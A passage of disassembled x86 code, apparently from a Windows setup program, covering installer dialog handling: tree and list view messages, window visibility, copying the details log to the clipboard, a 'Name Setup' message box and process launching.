		call	esi	; SendMessageA
		mov	ecx, dword_42A898
		mov	dword ptr [ebp-18h], 1
		mov	[ecx+edi*4], eax
		mov	eax, dword_42A898
		mov	ebx, [eax+edi*4]
		jmp	short loc_4048CF
; ---------------------------------------------------------------------------

loc_4048A1:				; CODE XREF: sub_404740+127j
		test	al, 4
		jz	short loc_4048B6
		push	ebx
		push	3
		push	110Ah
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA
		mov	ebx, eax
		jmp	short loc_4048CF
; ---------------------------------------------------------------------------

loc_4048B6:				; CODE XREF: sub_404740+163j
		lea	eax, [ebp-50h]
		push	eax
		push	0
		push	1100h
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA
		mov	ecx, dword_42A898
		mov	[ecx+edi*4], eax

loc_4048CF:				; CODE XREF: sub_404740+F9j
					; sub_404740+15Fj ...
		mov	edx, [ebp-14h]
		inc	edi
		add	edx, 418h
		cmp	edi, dword_42F44C
		mov	[ebp-14h], edx
		jl	loc_404833
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_404907

loc_4048EE:				; CODE XREF: sub_404740+E4j
		push	0FFFFFFF0h
		push	dword ptr [ebp-4]
		call	ds:dword_407184	; GetWindowLongA
		and	al, 0FBh
		push	eax
		push	0FFFFFFF0h
		push	dword ptr [ebp-4]
		call	ds:dword_407228	; SetWindowLongA

loc_404907:				; CODE XREF: sub_404740+1ACj
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_404925
		push	5
		push	dword ptr [ebp-8]
		call	ds:dword_407258	; ShowWindow
		push	dword ptr [ebp-8]
		call	sub_403DF8
		jmp	loc_404CA8
; ---------------------------------------------------------------------------

loc_404925:				; CODE XREF: sub_404740+1CBj
		push	dword ptr [ebp-4]
		call	sub_403DF8
		mov	ebx, [ebp-1Ch]
		xor	edi, edi

loc_404932:				; CODE XREF: sub_4046C3+4Ej
		cmp	dword ptr [ebp+0Ch], 405h
		jnz	short loc_40494D
		xor	ecx, ecx
		mov	[ebp+10h], edi
		inc	ecx
		mov	dword ptr [ebp+0Ch], 40Fh
		mov	[ebp+14h], ecx
		jmp	short loc_404950
; ---------------------------------------------------------------------------

loc_40494D:				; CODE XREF: sub_404740+1F9j
		mov	ecx, [ebp+14h]

loc_404950:				; CODE XREF: sub_404740+20Bj
		cmp	dword ptr [ebp+0Ch], 4Eh
		mov	eax, 413h
		jz	short loc_404964
		cmp	[ebp+0Ch], eax
		jnz	loc_404A4B

loc_404964:				; CODE XREF: sub_404740+219j
		cmp	[ebp+0Ch], eax
		mov	[ebp-0Ch], ecx
		jz	short loc_404979
		cmp	dword ptr [ecx+4], 408h
		jnz	loc_404A4B

loc_404979:				; CODE XREF: sub_404740+22Aj
		test	byte ptr dword_42F430+1, 2
		jnz	short loc_4049F8
		cmp	[ebp+0Ch], eax
		jz	short loc_404990
		mov	ecx, [ebp+14h]
		cmp	dword ptr [ecx+8], 0FFFFFFFEh
		jnz	short loc_4049F8

loc_404990:				; CODE XREF: sub_404740+245j
		xor	ecx, ecx
		cmp	[ebp+0Ch], eax
		setnz	cl
		push	ecx
		push	dword ptr [ebp-4]
		call	sub_404643
		cmp	eax, edi
		jl	short loc_4049F8
		mov	ecx, eax
		imul	ecx, 418h
		lea	edx, [ecx+ebx+8]
		mov	ecx, [edx]
		test	cl, 10h
		jnz	short loc_4049F8
		test	cl, 40h
		jz	short loc_4049D1
		xor	ecx, 80h
		test	cl, cl
		jns	short loc_4049CC
		or	ecx, 1
		jmp	short loc_4049D4
; ---------------------------------------------------------------------------

loc_4049CC:				; CODE XREF: sub_404740+285j
		and	ecx, 0FFFFFFFEh
		jmp	short loc_4049D4
; ---------------------------------------------------------------------------

loc_4049D1:				; CODE XREF: sub_404740+27Bj
		xor	ecx, 1

loc_4049D4:				; CODE XREF: sub_404740+28Aj
					; sub_404740+28Fj
		push	eax
		mov	[edx], ecx
		call	sub_40117D
		mov	eax, dword_42F430
		xor	ecx, ecx
		not	eax
		inc	ecx
		mov	dword ptr [ebp+0Ch], 40Fh
		shr	eax, 8
		and	eax, ecx
		mov	[ebp+10h], ecx
		mov	[ebp+14h], eax

loc_4049F8:				; CODE XREF: sub_404740+240j
					; sub_404740+24Ej ...
		cmp	[ebp-0Ch], edi
		jz	short loc_404A4B
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+8], 0FFFFFE6Eh
		jnz	short loc_404A17
		push	dword ptr [eax+5Ch]
		push	edi
		push	419h
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA

loc_404A17:				; CODE XREF: sub_404740+2C7j
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+8], 0FFFFFE6Ah
		jnz	short loc_404A4B
		cmp	dword ptr [eax+0Ch], 2
		jnz	short loc_404A3B
		mov	eax, [eax+5Ch]
		imul	eax, 418h
		lea	eax, [eax+ebx+8]
		or	dword ptr [eax], 20h
		jmp	short loc_404A4B
; ---------------------------------------------------------------------------

loc_404A3B:				; CODE XREF: sub_404740+2E7j
		mov	eax, [eax+5Ch]
		imul	eax, 418h
		lea	ebx, [eax+ebx+8]
		and	dword ptr [ebx], 0FFFFFFDFh

loc_404A4B:				; CODE XREF: sub_404740+21Ej
					; sub_404740+233j ...
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	short loc_404AC6
		cmp	word ptr [ebp+10h], 3F9h
		jnz	loc_404CA8
		mov	eax, [ebp+10h]
		shr	eax, 10h
		cmp	ax, 1
		jnz	loc_404CA8
		push	edi
		push	edi
		push	147h
		push	dword ptr [ebp-8]
		call	esi	; SendMessageA
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CA8
		push	edi
		push	eax
		push	150h
		push	dword ptr [ebp-8]
		call	esi	; SendMessageA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404AA0
		mov	eax, [ebp-10h]
		cmp	[eax+ebx*4], edi
		jnz	short loc_404AA3

loc_404AA0:				; CODE XREF: sub_404740+356j
		push	20h
		pop	ebx

loc_404AA3:				; CODE XREF: sub_404740+35Ej
		push	ebx
		call	sub_401299
		push	ebx
		push	edi
		push	420h
		push	dword ptr [ebp+8]
		call	esi	; SendMessageA
		mov	dword ptr [ebp+10h], 1
		mov	[ebp+14h], edi
		mov	dword ptr [ebp+0Ch], 40Fh

loc_404AC6:				; CODE XREF: sub_404740+312j
		cmp	dword ptr [ebp+0Ch], 200h
		jnz	short loc_404ADB
		push	edi
		push	edi
		push	200h
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA

loc_404ADB:				; CODE XREF: sub_404740+38Dj
		cmp	dword ptr [ebp+0Ch], 40Bh
		jnz	short loc_404B16
		mov	eax, dword_42A884
		cmp	eax, edi
		jz	short loc_404AF4
		push	eax
		call	ds:dword_40702C

loc_404AF4:				; CODE XREF: sub_404740+3ABj
		mov	eax, dword_42A898
		cmp	eax, edi
		jz	short loc_404B04
		push	eax
		call	ds:dword_4070F4	; GlobalFree

loc_404B04:				; CODE XREF: sub_404740+3BBj
		mov	dword_42A884, edi
		mov	dword_42A898, edi
		mov	dword_42F480, edi

loc_404B16:				; CODE XREF: sub_404740+3A2j
		cmp	dword ptr [ebp+0Ch], 40Fh
		jnz	loc_404C6A
		push	edi
		push	edi
		call	sub_4011EF
		cmp	[ebp+10h], edi
		jz	short loc_404B36
		push	8
		call	sub_401410

loc_404B36:				; CODE XREF: sub_404740+3EDj
		cmp	[ebp+14h], edi
		jz	short loc_404B7A
		push	dword_42A898
		call	sub_4012E2
		mov	ebx, eax
		push	ebx
		call	sub_401299
		xor	eax, eax
		xor	ecx, ecx
		cmp	ebx, edi
		jle	short loc_404B64

loc_404B56:				; CODE XREF: sub_404740+422j
		mov	edx, [ebp-10h]
		cmp	[edx+eax*4], edi
		jz	short loc_404B5F
		inc	ecx

loc_404B5F:				; CODE XREF: sub_404740+41Cj
		inc	eax
		cmp	eax, ebx
		jl	short loc_404B56

loc_404B64:				; CODE XREF: sub_404740+414j
		push	edi
		push	ecx
		push	14Eh
		push	dword ptr [ebp-8]
		call	esi	; SendMessageA
		mov	[ebp+14h], ebx
		mov	dword ptr [ebp+0Ch], 420h

loc_404B7A:				; CODE XREF: sub_404740+3F9j
		push	edi
		push	edi
		call	sub_4011EF
		mov	eax, dword_42A898
		cmp	dword_42F44C, edi
		mov	[ebp-1Ch], eax
		mov	eax, dword_42F448
		mov	dword ptr [ebp-38h], 0F030h
		mov	[ebp-0Ch], edi
		jle	loc_404C40
		lea	ebx, [eax+8]

loc_404BA7:				; CODE XREF: sub_404740+4FAj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-0Ch]
		mov	eax, [eax+ecx*4]
		cmp	eax, edi
		jz	short loc_404C28
		mov	ecx, [ebx]
		mov	[ebp-40h], eax
		test	ch, 1
		mov	dword ptr [ebp-44h], 8
		jz	short loc_404BD6
		lea	eax, [ebx+10h]
		mov	dword ptr [ebp-44h], 9
		mov	[ebp-34h], eax
		and	byte ptr [ebx+1], 0FEh

loc_404BD6:				; CODE XREF: sub_404740+483j
		test	cl, 40h
		jz	short loc_404BE0
		push	3
		pop	eax
		jmp	short loc_404BEE
; ---------------------------------------------------------------------------

loc_404BE0:				; CODE XREF: sub_404740+499j
		mov	eax, ecx
		and	eax, 1
		inc	eax
		test	cl, 10h
		jz	short loc_404BEE
		add	eax, 3

loc_404BEE:				; CODE XREF: sub_404740+49Ej
					; sub_404740+4A9j
		mov	edx, ecx
		push	dword ptr [ebp-40h]
		shl	eax, 0Bh
		and	edx, 8
		or	eax, edx
		mov	edx, ecx
		sar	ecx, 5
		add	eax, eax
		and	edx, 20h
		and	ecx, 1
		or	eax, edx
		inc	ecx
		mov	[ebp-3Ch], eax
		push	ecx
		push	1102h
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA
		lea	eax, [ebp-44h]
		push	eax
		push	edi
		push	110Dh
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA

loc_404C28:				; CODE XREF: sub_404740+472j
		inc	dword ptr [ebp-0Ch]
		add	ebx, 418h
		mov	eax, [ebp-0Ch]
		cmp	eax, dword_42F44C
		jl	loc_404BA7

loc_404C40:				; CODE XREF: sub_404740+45Ej
		push	1
		push	edi
		push	dword ptr [ebp-4]
		call	ds:dword_407238	; InvalidateRect
		mov	eax, dword_42EBFC
		cmp	[eax+10h], edi
		jz	short loc_404C6A
		push	5
		call	sub_404616
		push	eax
		push	0FFFFFFFBh
		push	3FFh
		call	sub_404561

loc_404C6A:				; CODE XREF: sub_404740+3DDj
					; sub_404740+514j
		cmp	dword ptr [ebp+0Ch], 420h
		jnz	short loc_404CA8
		test	byte ptr dword_42F430+1, 1
		jz	short loc_404CA8
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 20h
		mov	esi, ds:dword_407258
		setz	al
		shl	eax, 3
		mov	edi, eax
		push	edi
		push	dword ptr [ebp-4]
		call	esi	; ShowWindow
		push	edi
		push	3FEh
		push	dword ptr [ebp+8]
		call	ds:dword_407224	; GetDlgItem
		push	eax
		call	esi	; ShowWindow

loc_404CA8:				; CODE XREF: sub_404740+1E0j
					; sub_404740+31Aj ...
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_403E2A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_404740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBD	proc near		; DATA XREF: sub_404740+Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 102h
		push	ebx
		push	esi
		jnz	short loc_404CE6
		cmp	[ebp+arg_8], 20h
		jnz	loc_404D5F
		push	413h
		call	sub_403E0F

loc_404CDF:				; DATA XREF: .data:0040E350o
					; .data:0041A3A8o
		xor	eax, eax
		jmp	loc_404D78
; ---------------------------------------------------------------------------

loc_404CE6:				; CODE XREF: sub_404CBD+Cj
		cmp	[ebp+arg_4], 2
		jnz	short loc_404CF3
		or	dword_40929C, 0FFFFFFFFh

loc_404CF3:				; CODE XREF: sub_404CBD+2Dj
		cmp	[ebp+arg_4], 200h
		mov	esi, 419h
		jnz	short loc_404D1F
		push	[ebp+arg_0]
		call	ds:dword_4071A0	; IsWindowVisible
		test	eax, eax
		jz	short loc_404D5F
		push	1
		push	[ebp+arg_0]
		call	sub_404643
		mov	ebx, eax
		mov	[ebp+arg_4], esi
		jmp	short loc_404D22
; ---------------------------------------------------------------------------

loc_404D1F:				; CODE XREF: sub_404CBD+42j
		mov	ebx, [ebp+arg_C]

loc_404D22:				; CODE XREF: sub_404CBD+60j
		cmp	[ebp+arg_4], esi
		jnz	short loc_404D62
		cmp	dword_40929C, ebx
		jz	short loc_404D62
		push	edi
		mov	esi, offset dword_430000
		mov	edi, offset byte_42A8A0
		push	esi
		push	edi
		mov	dword_40929C, ebx
		call	sub_4059DB
		push	ebx
		push	esi
		call	sub_405939
		push	6
		call	sub_401410
		push	edi
		push	esi
		call	sub_4059DB
		pop	edi
		jmp	short loc_404D62
; ---------------------------------------------------------------------------

loc_404D5F:				; CODE XREF: sub_404CBD+12j
					; sub_404CBD+4Fj
		mov	ebx, [ebp+arg_C]

loc_404D62:				; CODE XREF: sub_404CBD+68j
					; sub_404CBD+70j ...
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword_42A894
		call	ds:dword_40719C	; CallWindowProcA

loc_404D78:				; CODE XREF: sub_404CBD+24j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_404CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D7E	proc near		; CODE XREF: sub_401428+9p
					; sub_401439:loc_401495p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42EC04
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		push	edi
		mov	[ebp+var_4], eax
		jz	loc_404E49
		mov	eax, dword_4092A0
		mov	esi, offset byte_42A080
		mov	edi, eax
		mov	[ebp+var_8], eax
		and	edi, 1
		jnz	short loc_404DB6
		push	[ebp+arg_0]
		push	esi
		call	sub_4059FD

loc_404DB6:				; CODE XREF: sub_404D7E+2Dj
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	[ebp+arg_4], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404DDF
		push	[ebp+arg_4]
		call	sub_4059F1	; lstrlen
		add	eax, [ebp+arg_0]
		cmp	eax, 800h
		jnb	short loc_404E49
		push	[ebp+arg_4]
		push	esi
		call	sub_4059F7	; lstrcat

loc_404DDF:				; CODE XREF: sub_404D7E+44j
		test	byte ptr [ebp+var_8], 4
		jz	short loc_404DF2
		push	esi
		push	dword_42EBE8
		call	ds:dword_4071E8	; SetWindowTextA

loc_404DF2:				; CODE XREF: sub_404D7E+65j
		test	byte ptr [ebp+var_8], 2
		jz	short loc_404E3C
		push	ebx
		push	ebx
		push	1004h
		mov	[ebp+var_1C], esi
		push	[ebp+var_4]
		mov	esi, ds:dword_40723C
		mov	[ebp+var_30], 1
		call	esi	; SendMessageA
		sub	eax, edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, 1007h
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	ebx
		push	[ebp+var_2C]
		push	1013h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_404E3C:				; CODE XREF: sub_404D7E+78j
		cmp	edi, ebx
		jz	short loc_404E49
		mov	eax, [ebp+arg_0]
		mov	byte_42A080[eax], bl

loc_404E49:				; CODE XREF: sub_404D7E+15j
					; sub_404D7E+56j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_404D7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E50	proc near		; CODE XREF: sub_403542+29Ap
					; DATA XREF: sub_404EBC+1BEo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, dword_42F448
		push	edi
		mov	edi, dword_42F44C
		push	0
		call	ds:dword_407270
		or	dword_42F4D0, eax
		push	0
		call	sub_403E0F
		test	edi, edi
		jz	short loc_404EA2
		add	esi, 0Ch

loc_404E7A:				; CODE XREF: sub_404E50+48j
		dec	edi
		test	byte ptr [esi-4], 1
		jz	short loc_404E90
		push	[esp+8+arg_0]
		push	dword ptr [esi]
		call	sub_40136D
		test	eax, eax
		jnz	short loc_404E9C

loc_404E90:				; CODE XREF: sub_404E50+2Fj
		add	esi, 418h
		test	edi, edi
		jnz	short loc_404E7A
		jmp	short loc_404EA2
; ---------------------------------------------------------------------------

loc_404E9C:				; CODE XREF: sub_404E50+3Ej
		inc	dword_42F4AC

loc_404EA2:				; CODE XREF: sub_404E50+25j
					; sub_404E50+4Aj
		push	404h
		call	sub_403E0F
		call	ds:dword_407274
		mov	eax, dword_42F4AC
		pop	edi
		pop	esi
		retn	4
sub_404E50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EBC	proc near		; DATA XREF: .data:00409294o

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_42EC04
		xor	ebx, ebx
		cmp	[ebp+arg_4], 110h
		mov	[ebp+var_4], edi
		jnz	loc_40505D
		or	[ebp+var_2C], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		mov	[ebp+var_34], 2
		mov	[ebp+var_30], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		stosd
		stosd
		mov	eax, dword_42F428
		mov	edi, ds:dword_407224
		push	403h
		mov	ecx, [eax+5Ch]
		mov	eax, [eax+60h]
		push	[ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	[ebp+arg_8], eax
		call	edi	; GetDlgItem
		push	3EEh
		mov	dword_42EBF0, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	3F8h
		mov	dword_42EBE8, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	dword_42EBF0
		mov	dword_42EC04, eax
		mov	[ebp+var_4], eax
		call	sub_403DF8
		push	4
		call	sub_404616
		mov	dword_42EBF4, eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	dword_42EC0C, ebx
		push	[ebp+var_4]
		call	ds:dword_407248	; GetClientRect
		push	15h
		call	ds:dword_4071C0	; GetSystemMetrics
		mov	ecx, [ebp+var_C]
		mov	esi, ds:dword_40723C
		sub	ecx, eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		push	101Bh
		mov	[ebp+var_2C], ecx
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	eax, 4000h
		push	eax
		push	eax
		push	1036h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], ebx
		jl	short loc_404FC4
		push	[ebp+arg_4]
		push	ebx
		push	1001h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	1026h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_404FC4:				; CODE XREF: sub_404EBC+EAj
		cmp	[ebp+arg_8], ebx
		jl	short loc_404FD7
		push	[ebp+arg_8]
		push	ebx
		push	1024h
		push	[ebp+var_4]
		call	esi	; SendMessageA

loc_404FD7:				; CODE XREF: sub_404EBC+10Bj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+30h]
		push	1Bh
		push	[ebp+arg_0]
		call	sub_403DC3
		test	byte ptr dword_42F430, 3
		jz	short loc_405019
		push	ebx
		push	dword_42EBF0
		call	ds:dword_407258	; ShowWindow
		test	byte ptr dword_42F430, 2
		jnz	short loc_405013
		push	8
		push	[ebp+var_4]
		call	ds:dword_407258	; ShowWindow
		jmp	short loc_405019
; ---------------------------------------------------------------------------

loc_405013:				; CODE XREF: sub_404EBC+148j
		mov	dword_42EBF0, ebx

loc_405019:				; CODE XREF: sub_404EBC+132j
					; sub_404EBC+155j
		push	3ECh
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	75300000h
		mov	edi, eax
		push	ebx
		push	401h
		push	edi
		call	esi	; SendMessageA
		test	byte ptr dword_42F430, 4
		jz	loc_405231
		push	[ebp+arg_8]
		push	ebx
		push	409h
		push	edi
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	2001h
		push	edi
		call	esi	; SendMessageA
		jmp	loc_405231
; ---------------------------------------------------------------------------

loc_40505D:				; CODE XREF: sub_404EBC+1Bj
		cmp	[ebp+arg_4], 405h
		jnz	short loc_40508E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	3ECh
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		push	eax
		push	offset sub_404E50
		push	ebx
		push	ebx
		call	ds:dword_4070C8	; CreateThread
		push	eax
		call	ds:dword_407060	; CloseHandle

loc_40508E:				; CODE XREF: sub_404EBC+1A8j
		cmp	[ebp+arg_4], 111h
		mov	esi, ds:dword_407258
		jnz	short loc_4050B8
		cmp	word ptr [ebp+arg_8], 403h
		jnz	short loc_4050DA
		push	ebx
		push	dword_42EBF0
		call	esi	; ShowWindow
		push	8
		push	edi
		call	esi	; ShowWindow
		call	sub_404196

loc_4050B8:				; CODE XREF: sub_404EBC+1DFj
		cmp	[ebp+arg_4], 404h
		jnz	short loc_405116
		cmp	dword_42EBEC, ebx
		jz	short loc_4050EF
		push	78h
		mov	dword_429C70, 2
		call	sub_403D9C

loc_4050DA:				; CODE XREF: sub_404EBC+1E7j
					; sub_404EBC+25Ej ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A

loc_4050E8:				; CODE XREF: sub_404EBC+377j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------

loc_4050EF:				; CODE XREF: sub_404EBC+20Bj
		push	8
		push	dword_42F424
		call	esi	; ShowWindow
		cmp	dword_42F4AC, ebx
		jnz	short loc_40510F
		mov	eax, dword_42A078
		push	ebx
		push	dword ptr [eax+34h]
		call	sub_404D7E

loc_40510F:				; CODE XREF: sub_404EBC+243j
		push	1
		call	sub_403D9C

loc_405116:				; CODE XREF: sub_404EBC+203j
		cmp	[ebp+arg_4], 7Bh
		jnz	short loc_4050DA
		cmp	[ebp+arg_8], edi
		jnz	short loc_4050DA
		push	ebx
		push	ebx
		push	1004h
		push	edi
		call	ds:dword_40723C	; SendMessageA
		cmp	eax, ebx
		mov	[ebp+arg_4], eax
		jle	loc_405231
		call	ds:dword_4071BC	; CreatePopupMenu
		push	0FFFFFFE1h
		push	ebx
		mov	esi, eax
		call	sub_4059FD
		push	eax
		push	1
		push	ebx
		push	esi
		call	ds:dword_4071B8	; AppendMenuA
		mov	eax, [ebp+arg_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405170
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	ds:dword_407170	; GetWindowRect
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		jmp	short loc_405179
; ---------------------------------------------------------------------------

loc_405170:				; CODE XREF: sub_404EBC+29Fj
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax

loc_405179:				; CODE XREF: sub_404EBC+2B2j
		push	ebx
		push	edi
		push	ebx
		push	eax
		push	ecx
		push	180h
		push	esi
		call	ds:dword_407218	; TrackPopupMenu
		xor	esi, esi
		inc	esi
		cmp	eax, esi
		jnz	loc_405231
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], ebx
		mov	[ebp+var_28], offset byte_42A8A0
		mov	[ebp+var_24], 0FFFh
		mov	[ebp+arg_0], eax
		mov	edi, 102Dh

loc_4051B1:				; CODE XREF: sub_404EBC+310j
		dec	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_40723C	; SendMessageA
		cmp	[ebp+arg_0], ebx
		lea	esi, [esi+eax+2]
		jnz	short loc_4051B1
		push	ebx
		call	ds:dword_4071B0	; OpenClipboard
		call	ds:dword_4071AC	; EmptyClipboard
		push	esi
		push	42h
		call	ds:dword_4070F8	; GlobalAlloc
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4070C4	; GlobalLock
		mov	esi, eax

loc_4051F0:				; CODE XREF: sub_404EBC+359j
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_28], esi
		push	eax
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_40723C	; SendMessageA
		push	esi
		call	sub_4059F1	; lstrlen
		add	esi, eax
		mov	word ptr [esi],	0A0Dh
		inc	esi
		inc	esi
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jl	short loc_4051F0
		push	[ebp+arg_0]
		call	ds:dword_4070C0	; GlobalUnlock
		push	[ebp+arg_0]
		push	1
		call	ds:dword_4071A8	; SetClipboardData
		call	ds:dword_4071A4	; CloseClipboard

loc_405231:				; CODE XREF: sub_404EBC+17Ej
					; sub_404EBC+19Cj ...
		xor	eax, eax
		jmp	loc_4050E8
sub_404EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405238	proc near		; CODE XREF: sub_404201+13Fp
					; sub_4059FD+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_40714C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short locret_40525F
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]

locret_40525F:				; CODE XREF: sub_405238+13j
		leave
		retn	4
sub_405238	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405263	proc near		; CODE XREF: sub_401E9C+16p start+2D8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		mov	dword_42C8A8, 44h
		call	ds:dword_407080	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405287
		test	al, 10h
		jnz	short loc_40528A

loc_405287:				; CODE XREF: sub_405263+1Ej
		mov	[ebp+arg_4], ecx

loc_40528A:				; CODE XREF: sub_405263+22j
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_42C8A8
		push	[ebp+arg_4]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		push	ecx
		call	ds:dword_4070CC	; CreateProcessA
		test	eax, eax
		jz	short locret_4052B5
		push	[ebp+var_C]
		call	ds:dword_407060	; CloseHandle
		mov	eax, [ebp+var_10]

locret_4052B5:				; CODE XREF: sub_405263+44j
		leave
		retn	8
sub_405263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4052B9	proc near		; CODE XREF: sub_402BAB+76p
					; sub_403DC3+1Ap ...
		jmp	ds:dword_4071C4
sub_4052B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052BF	proc near		; CODE XREF: sub_404201+33p
					; sub_404201+1B5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	400h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword_42EBF8
		call	ds:dword_4071C8	; GetDlgItemTextA
		retn	8
sub_4052BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052DB	proc near		; CODE XREF: sub_401439+45Dp
					; sub_401439+521p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, eax
		and	ecx, 1FFFFFh
		cmp	dword_42F4C0, 0
		jz	short loc_4052F5
		shr	eax, 15h
		jnz	short locret_40531A

loc_4052F5:				; CODE XREF: sub_4052DB+13j
		cmp	dword_42F4C8, 0
		jz	short loc_405304
		xor	ecx, 180000h

loc_405304:				; CODE XREF: sub_4052DB+21j
		push	ecx
		push	offset aNameSetup ; "Name Setup"
		push	[esp+8+arg_0]
		push	dword_42F424
		call	ds:dword_4071CC	; MessageBoxA

locret_40531A:				; CODE XREF: sub_4052DB+18j
		retn	8
sub_4052DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40531D	proc near		; CODE XREF: sub_401439+553p
					; sub_40351D+1Fp ...

var_148		= dword	ptr -148h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
